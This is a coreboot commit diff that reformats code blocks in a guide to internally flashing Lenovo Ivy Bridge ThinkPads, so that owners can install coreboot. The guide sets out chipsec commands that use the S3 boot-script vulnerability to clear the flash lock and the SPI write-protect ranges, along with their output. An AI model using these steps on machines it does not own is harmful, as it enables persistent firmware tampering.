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Documentation: Indent code blocks instead of using ``` 

Both versions are correct, but especially for one liners indenting them
with four spaces instead of using ``` blocks helps readability of the
source file.

Change-Id: Ie2543c8c4cccefd74e966f784e651ed7dc3a9252
Signed-off-by: Paul Menzel <pmenzel@molgen.mpg.de>
Reviewed-on: https://review.coreboot.org/c/coreboot/+/38720
Reviewed-by: Peter Lemenkov <lemenkov@gmail.com>
Tested-by: build bot (Jenkins) <no-reply@coreboot.org>
This commit is contained in:
Paul Menzel 2020-02-05 16:36:49 +01:00 committed by Patrick Georgi
parent f9bb675690
commit cedd4525f2
1 changed files with 166 additions and 177 deletions
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93
Documentation/mainboard/lenovo/ivb_internal_flashing.md
View File

@ -63,55 +63,51 @@ directly. Therefore you need to modify the bootable CD image you just
downloaded.
Extract an El Torito image:
```
geteltorito -o ./bios.img g1uj41us.iso
```
Mount the partition in that image:
```
sudo mount -t vfat ./bios.img /mnt -o loop,offset=16384
```
List files, find the `AUTOEXEC.BAT` file and the `FLASH` directory:
```
ls /mnt
ls /mnt/FLASH
```
Inside the `FLASH` directory, there should be a directory called
`G1ET93WW` or similar (exact name depends on your ThinkPad model and
BIOS version). See what's inside:
```
ls /mnt/FLASH/G1ET93WW
```
There must be a file with `.FL1` extension called `$01D2000.FL1` or
something similar.
Now open the `AUTOEXEC.BAT` file:
```
sudo vim /mnt/AUTOEXEC.BAT
```
You will see a list of commands:
```
@ECHO OFF
PROMPT $p$g
cd c:\flash
command.com
```
Replace the last line (`command.com`) with this (change path to the
`.FL1` file according to yours):
```
dosflash.exe /sd /file G1ET93WW\$01D2000.FL1
```
Save the file, then unmount the partition:
```
sudo unmount /mnt
```
Write this image to a USB drive (replace `/dev/sdX` with your USB drive
device name):
```
sudo dd if=./bios.img of=/dev/sdX bs=1M
```
Now reboot and press F1 to enter BIOS settings. Open the **Startup** tab
and set the startup mode to **Legacy** (or **Both**/**Legacy First**):
@ -167,11 +163,11 @@ To be able to flash, we need SMM_BWP=0, BIOSWE=1, BLE=0, FLOCKDN=0 or
SPI protected ranges (PRx) to have a WP bit set to 0.
Let's see what we have. Examine HSFS register:
```
sudo chipsec_main -m chipsec.modules.common.spi_lock
```
You should see that FLOCKDN=1:
```
[x][ =======================================================================
[x][ Module: SPI Flash Controller Configuration Locks
[x][ =======================================================================
@ -184,17 +180,15 @@ You should see that FLOCKDN=1:
[13] FDOPSS = 1 << Flash Descriptor Override Pin-Strap Status
[14] FDV = 1 << Flash Descriptor Valid
[15] FLOCKDN = 1 << Flash Configuration Lock-Down
```
Then check BIOS_CNTL and PR0-PR4:
```
sudo chipsec_main -m common.bios_wp
```
Good news: on old BIOS versions, SMM_BWP=0 and BLE=0.
Bad news: there are 4 write protected SPI ranges:
```
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
@ -216,20 +210,19 @@ PR1 (78) | 8BFF0B40 | 00B40000 | 00BFFFFF | 1 | 0
PR2 (7C) | 8B100B10 | 00B10000 | 00B10FFF | 1 | 0
PR3 (80) | 8ADE0AD0 | 00AD0000 | 00ADEFFF | 1 | 0
PR4 (84) | 8AAF0800 | 00800000 | 00AAFFFF | 1 | 0
```
Other way to examine SPI configuration registers is to just dump SPIBAR:
```
sudo chipsec_util mmio dump SPIBAR
```
You will see SPIBAR address (0xFED1F800) and registers (for example,
00000004 is HSFS):
```
[mmio] MMIO register range [0x00000000FED1F800:0x00000000FED1F800+00000200]:
+00000000: 0BFF0500
+00000004: 0004E009
...
```
As you can see, the only thing we need is to unset WP bit on PR0-PR4.
But that cannot be done once FLOCKDN is set to 1.
@ -239,12 +232,12 @@ FLOCKDN may only be cleared by a hardware reset, which includes S3
state. On S3 resume boot path, the chipset configuration has to be
restored and it's done by executing so-called S3 Boot Scripts. You can
dump these scripts by executing:
```
sudo chipsec_util uefi s3bootscript
```
There are many entries. Along them, you can find instructions to write
to HSFS (remember, we know that SPIBAR is 0xFED1F800):
```
Entry at offset 0x2B8F (len = 0x17, header len = 0x0):
Data:
02 00 17 02 00 00 00 01 00 00 00 04 f8 d1 fe 00 |
@ -255,7 +248,7 @@ Decoded:
Address: 0xFED1F804
Count : 0x1
Values : 0x0004E009
```
These scripts are stored in memory. The vulnerability is that we can
overwrite this memory, change these instructions and they will be
executed on S3 resume. Once we patch that instruction to not set FLOCKDN
@ -268,14 +261,13 @@ in case something goes wrong, you'll be able to flash it back externally.
The `me` region is locked, so an attempt to create a full dump will fail.
But you can back up the `bios`:
```
sudo flashrom -p internal -r bios_backup.rom --ifd -i bios
```
If you will ever need to flash it back, use `--ifd -i bios` as well:
```
sudo flashrom -p <YOUR_PROGRAMMER> -w bios_backup.rom --ifd -i bios
```
**Caution:** if you will omit `--ifd -i bios` for flashing, you will
brick your machine, because your backup has `FF`s in place of `fd` and
`me` regions. Flash only `bios` region!
@ -284,12 +276,12 @@ brick your machine, because your backup has `FF`s in place of `fd` and
The original boot script writes 0xE009 to HSFS. FLOCKDN is 15th bit, so
let's write 0x6009 instead:
```
sudo chipsec_main -m tools.uefi.s3script_modify -a replace_op,mmio_wr,0xFED1F804,0x6009,0x2
```
You will get a lot of output and in the end you should see something
like this:
```
[*] Modifying S3 boot script entry at address 0x00000000DAF49B8F..
[mem] 0x00000000DAF49B8F
[*] Original entry:
@ -304,12 +296,11 @@ like this:
0 0 0 9 60 0 0 | `
[*] After sleep/resume, check the value of register 0xFED1F804 is 0x6009
[+] PASSED: The script has been modified. Go to sleep..
```
Now go to S3, then resume and check FLOCKDN. It should be 0:
```
sudo chipsec_main -m chipsec.modules.common.spi_lock
```
```
...
[x][ =======================================================================
[x][ Module: SPI Flash Controller Configuration Locks
@ -326,19 +317,18 @@ sudo chipsec_main -m chipsec.modules.common.spi_lock
[-] SPI Flash Controller configuration is not locked
[-] FAILED: SPI Flash Controller not locked correctly.
...
```
Remove WP from protected ranges:
```
sudo chipsec_util mmio write SPIBAR 0x74 0x4 0xAAF0800
sudo chipsec_util mmio write SPIBAR 0x78 0x4 0xADE0AD0
sudo chipsec_util mmio write SPIBAR 0x7C 0x4 0xB100B10
sudo chipsec_util mmio write SPIBAR 0x80 0x4 0xBFF0B40
```
Verify that it worked:
```
sudo chipsec_main -m common.bios_wp
```
```
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
@ -360,7 +350,6 @@ PR1 (78) | 0ADE0AD0 | 00AD0000 | 00ADE000 | 0 | 0
PR2 (7C) | 0B100B10 | 00B10000 | 00B10000 | 0 | 0
PR3 (80) | 0BFF0B40 | 00B40000 | 00BFF000 | 0 | 0
PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0
```
Bingo!